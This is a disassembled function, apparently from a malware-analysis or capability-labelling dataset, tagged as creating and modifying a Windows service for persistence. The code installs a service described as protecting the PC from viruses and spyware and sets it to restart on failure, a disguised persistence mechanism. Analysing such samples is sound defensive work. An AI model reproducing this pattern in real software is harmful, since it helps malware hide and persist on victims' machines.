Function at 0x406010
Capabilities:
Check if file exists
Create service
Modify service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4627a0
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
mov eax, dword [0x47d0e0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 4], 1
push dword [ebp + 0xc]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x406066
push 2
push 0x4797a0
mov ecx, esi
call fcn.00405e20
xor bl, bl
jmp 0x4061eb
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
jne 0x406090
push 2
push 0x4797a4
mov ecx, esi
call fcn.00405e20
xor bl, bl
jmp 0x4061eb
mov eax, dword [ebp + 8]
push 0
push 0
push 0
push 0
push 0
push dword [ebp + 0xc]
push 1
push 2
push 0x10
push 0xf01ff
push eax
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov ebx, eax
test ebx, ebx
jne 0x4060dd
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.03_d
push esi
call fcn.004017e0
add esp, 0xc
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor bl, bl
jmp 0x4061eb
lea eax, [ebp - 0x30]
mov dword [ebp - 0x30], 1
push eax
push 3
push ebx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
lea eax, [ebp - 0x34]
mov dword [ebp - 0x34], str.This_service_protect_your_pc_from_viruses_and_spyware.
push eax
push 1
push ebx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call ebx
push edi
call ebx
push 0xf003f
push 0
push 0
xor bl, bl
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x2c], eax
test eax, eax
je 0x4061d6
push 0xf01ff
push dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
je 0x4061b4
lea eax, [ebp - 0x28]
mov dword [ebp - 0x48], 1
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x48]
push eax
push 2
push edi
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x3c], 3
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x24], 0x64
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x1c], 0x64
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x14], 0x64
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov ecx, edi
call fcn.004066e0
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov bl, 1
push edi
call esi
push dword [ebp - 0x2c]
call esi
jmp 0x4061eb
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.05_d
push esi
call fcn.004017e0
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
add esp, 0xc
push dword [ebp - 0x2c]
call esi
jmp 0x4061eb
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.04_d
push esi
call fcn.004017e0
add esp, 0xc
mov byte [ebp - 4], 0
or esi, 0xffffffff
mov ecx, dword [ebp + 8]
mov eax, esi
add ecx, 0xfffffff0
lock xadd dword [ecx + 0xc], eax
dec eax
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
test eax, eax
jg 0x406233
mov edx, dword [ecx]
push ecx
mov eax, dword [edx]
mov edi, dword [eax + 4]
mov dword [ebp - 0x2c], edi
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
cmp eax, vtable.ATL::CAtlStringMgr.0
jne 0x40622e
mov eax, dword [edx + 4]
push 0
push dword [eax + 4]
call edi
jmp 0x406233
mov ecx, edx
call dword [ebp - 0x2c]
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff0
lock xadd dword [eax + 0xc], esi
dec esi
test esi, esi
jg 0x40626a
mov edx, dword [eax]
push eax
mov ecx, dword [edx]
mov esi, dword [ecx + 4]
cmp ecx, vtable.ATL::CAtlStringMgr.0
jne 0x406266
mov ecx, dword [edx + 4]
push 0
push dword [ecx + 4]
call edi
jmp 0x40626a
mov ecx, edx
call esi
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00444f5f
mov esp, ebp
pop ebp
ret